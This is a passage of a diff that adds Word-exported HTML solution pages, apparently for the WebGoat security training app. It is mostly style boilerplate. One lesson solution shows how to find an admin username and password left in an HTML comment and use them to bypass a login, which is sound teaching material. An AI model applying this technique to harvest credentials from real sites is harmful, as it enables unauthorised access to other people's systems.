<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Discover Clues in the HTML <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Developers
|
||||
are notorious for leaving statements like FIXME's, Code Broken, Hack, etc...
|
||||
inside the source code. Review the source code for any comments
|
||||
denoting passowrds, backdoors, or something doesn't work right. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-spacerun:yes'><EFBFBD></span><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The user
|
||||
should be able to bypass the authentication check.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_38" o:spid="_x0000_i1029" type="#_x0000_t75"
|
||||
style='width:480pt;height:276.75pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HtmlClues_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HtmlClues_files/image011.jpg" v:shapes="Picture_x0020_38"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>1</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Lesson 3<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Right-click
|
||||
the page and select "View source"<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_39"
|
||||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;height:269.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HtmlClues_files/image003.png" o:title="" cropbottom="4255f"/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=359
|
||||
src="lesson_solutions/HtmlClues_files/image012.jpg" v:shapes="Picture_x0020_39"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> View Source</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Examine the
|
||||
HTML source.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_40" o:spid="_x0000_i1027"
|
||||
type="#_x0000_t75" style='width:480pt;height:276.75pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HtmlClues_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HtmlClues_files/image013.jpg" v:shapes="Picture_x0020_40"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>In the HTML
|
||||
source there is a comment that contains a user name admin and a password
|
||||
adminpw. Enter these values in WebGoat and click "Login"<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_41"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HtmlClues_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HtmlClues_files/image014.jpg" v:shapes="Picture_x0020_41"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>3</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Enter discovered credentials<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_42"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HtmlClues_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HtmlClues_files/image015.jpg" v:shapes="Picture_x0020_42"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>4</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Lesson 3 Completed<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
602
src/main/webapp/lesson_solutions_1/HttpBasics.html
Normal file
602
src/main/webapp/lesson_solutions_1/HttpBasics.html
Normal file
@ -0,0 +1,602 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<title>Solution: Http Basics</title>
|
||||
<link rel=File-List href="lesson_solutions/HttpBasics_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/HttpBasics_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>4</o:TotalTime>
|
||||
<o:Created>2007-07-11T10:26:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:31:00Z</o:LastSaved>
|
||||
<o:Pages>1</o:Pages>
|
||||
<o:Words>219</o:Words>
|
||||
<o:Characters>1252</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>10</o:Lines>
|
||||
<o:Paragraphs>2</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1469</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/HttpBasics_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/HttpBasics_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
